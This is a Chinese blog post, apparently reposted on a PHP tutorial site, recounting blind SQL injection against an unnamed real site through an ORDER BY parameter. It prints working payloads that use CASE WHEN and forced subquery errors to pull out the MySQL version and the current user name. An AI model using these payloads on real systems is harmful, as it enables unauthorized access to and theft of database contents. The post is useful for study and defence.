来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 原文已经应要求删除了,后来想了想觉得我还是有必要记录一下的,只不过不再类似之前实战或现场直播带插图式,不提名挂号。更新一次博客不容易呀!有个注入点接收如下几个参数...
原文已经应要求删除了,后来想了想觉得我还是有必要记录一下的,只不过不再类似之前实战或现场直播带插图式,不提名挂号。更新一次博客不容易呀!
有个注入点接收如下几个参数: category=4&limit1=0&limit2=1&order=desc&orderColumn=1 根据这几个参数,大致就可以猜出SQL语句如下: SELECT * FROM iNeeke WHERE category = 4 ORDER BY 1 DESC LIMIT 0,0; 一般注入的时候都是用“category = 4 and where 1=2 union select …”或“limit 0,1 union select …”来改变结果集的,但从上面的SQL看来后者是不行的,因为在“order by”后面不能出现“union”,而category参数也做了过滤,也就行不通了。 现在只能在orderColumn这个参数上下功夫了,它改变不了查询结果,但是可以想办法它查询成功或查询出错,这样就可以盲注了,这里参考了一下老君的文章:www.2cto.com/Article/201004/46707.html 然后开始拼装SQL: 查版本: category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select substring(version(),1,1) > 5) then 1 else 1*(select 1 union select 2)end)=1 查当前MySQL用户名长度: category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select length(user()) > 10) then 1 else 1*(select 1 union select 2)end)=1 查当前MySQL用户名第一个字符内容: category=4&limit1=0&limit2=1&order=desc&orderColumn=1,(select case when(select ascii(substring(user(),1,1)) = 120) then 1 else 1*(select 1 union select 2)end)=1 以此类推,什么库名,表明,字段,数据都能搞出来,只是手工盲注太累人了… 就这么着吧,不过感觉这东西还可以再深入研究。 http://www.ineeke.com/ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com